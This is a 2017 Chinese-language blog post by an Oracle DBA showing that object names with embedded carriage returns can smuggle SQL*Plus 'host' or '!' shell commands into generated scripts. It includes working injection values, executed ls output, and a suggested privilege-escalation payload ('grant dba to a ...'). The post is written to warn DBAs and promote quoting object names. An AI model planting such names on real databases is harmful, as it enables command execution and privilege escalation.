[20171219]指令碼執行的安全性.txt

lfree發表於2017-12-20

[20171219]指令碼執行的安全性.txt

--//昨天檢查發現應用中存在一個奇怪的表名,存在怪字元,我估計維護者不熟悉vi操作,導致這種情況出現.
--//最近一直在關注安全方面的資訊,這方面一直是自己的弱項,要防別人攻擊,必須知道別人如何攻擊的.
--//看了一些駭客指令碼,突然想起利用特殊的表名也許能實現某種"攻擊".透過例子說明:

1.環境:

SYS@book> @ &r/ver1

PORT_STRING                    VERSION        BANNER
------------------------------ -------------- --------------------------------------------------------------------------------
x86_64/Linux 2.4.xx            11.2.0.4.0     Oracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit Production

SCOTT@book> alter tablespace tea rename to "USERS^Mhost ls -l^M";
SCOTT@book> alter tablespace tea rename to "USERS
host ls -l";
  2
Tablespace altered.
--//注:裡面的^M透過ctrl+v ctlr+q輸入在linux下.

SCOTT@book> select * from dba_tablespaces;
TABLESPACE_NAME BLOCK_SIZE INITIAL_EXTENT NEXT_EXTENT MIN_EXTENTS MAX_EXTENTS   MAX_SIZE PCT_INCREASE MIN_EXTLEN STATUS    CONTENTS  LOGGING   FOR EXTENT_MAN ALLOCATIO PLU SEGMEN DEF_TAB_ RETENTION   BIG PREDICA ENC COMPRESS_FOR
--------------- ---------- -------------- ----------- ----------- ----------- ---------- ------------ ---------- --------- --------- --------- --- ---------- --------- --- ------ -------- ----------- --- ------- --- ------------
SYSTEM                8192          65536                       1  2147483645 2147483645                   65536 ONLINE    PERMANENT LOGGING   NO  LOCAL      SYSTEM    NO  MANUAL DISABLED NOT APPLY   NO  HOST    NO
SYSAUX                8192          65536                       1  2147483645 2147483645                   65536 ONLINE    PERMANENT LOGGING   NO  LOCAL      SYSTEM    NO  AUTO   DISABLED NOT APPLY   NO  HOST    NO
UNDOTBS1              8192          65536                       1  2147483645 2147483645                   65536 ONLINE    UNDO      LOGGING   NO  LOCAL      SYSTEM    NO  MANUAL DISABLED NOGUARANTEE NO  HOST    NO
TEMP                  8192        1048576     1048576           1             2147483645            0    1048576 ONLINE    TEMPORARY NOLOGGING NO  LOCAL      UNIFORM   NO  MANUAL DISABLED NOT APPLY   NO  HOST    NO
USERS                 8192          65536                       1  2147483645 2147483645                   65536 ONLINE    PERMANENT LOGGING   NO  LOCAL      SYSTEM    NO  AUTO   DISABLED NOT APPLY   NO  HOST    NO
EXAMPLE               8192          65536                       1  2147483645 2147483645                   65536 ONLINE    PERMANENT NOLOGGING NO  LOCAL      SYSTEM    YES AUTO   DISABLED NOT APPLY   NO  HOST    NO
USERS                 8192          65536                       1  2147483645 2147483645                   65536 ONLINE    PERMANENT LOGGING   NO  LOCAL      SYSTEM    NO  MANUAL DISABLED NOT APPLY   NO  HOST    NO
host ls -l
7 rows selected.

--//像以前hot backup指令碼,透過sql指令碼拼接的sql語句.
alter tablespace <tbs_name> begin backup ;

--//如上就變成了.這樣呼叫指令碼可能導致後面語句的執行,我這裡執行ls -l.
alter tablespace USERS
host ls -l

--//假如我建立的物件是:
create table  "emp;^M host ls -l^M" (a number);

--//如果透過某種方式生成的指令碼可能就會執行ls -l命令.
--//這樣你要看toad生成或者執行的指令碼,都是使用引號包裹物件是有道理的.

create table  "emp^M ! ls -l^M" (a number);
insert into  "emp^M ! ls -l^M" values (1000);
select * from   "emp^M ! ls -l^M" ;

SCOTT@book>select * from   "emp^M ! ls -l^M" ;
         A
----------
      1000

--//如果手工打入如下使用雙引號把內容包括起來,也是可以正確執行的:
SCOTT@book> select * from "emp
  2   ! ls -l
  3  "
  4  /
         A
----------
      1000

--//測試插曲,如果你不小心把命令打錯,可能是很危險的行為,如下,我這裡create變成crate:
SCOTT@book> crate table  "emp^M ! ls -l^M" (a number);

SCOTT@book> crate table  "emp
! ls -l
" (a number);
SP2-0734: unknown command beginning "crate tabl..." - rest of line ignored.
SCOTT@book> total 152
lrwxrwxrwx  1 oracle oinstall         9 Aug 15  2016 0729 -> /u01/0729
-rw-r--r--  1 root   root     104857600 Nov 17 11:36 100m
-rw-r--r--  1 oracle oinstall        54 Nov 16 11:42 aaa.txt
-rwxr-xr-x  1 oracle oinstall       532 Nov 16 11:14 aa.sh
-rw-r--r--  1 oracle oinstall         6 Nov 13 16:18 aa.txt
-rw-r--r--  1 oracle oinstall      8763 Dec 18 09:54 a.lst

SCOTT@book> SP2-0734: unknown command beginning "" (a numbe..." - rest of line ignored.
--//這樣ls -l命令就執行了.連測試也要小心!!
--//12c支援更長的表名達到128字元(11g支援的表名才30字元),這樣可以打入更長的命令,比如grant dba to a IDENTIFIED BY a1;
--//這樣建立使用者a具有dba許可權.
--//不要在生產系統做這樣的測試!!

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/267265/viewspace-2148917/,如需轉載,請註明出處,否則將追究法律責任。

相關文章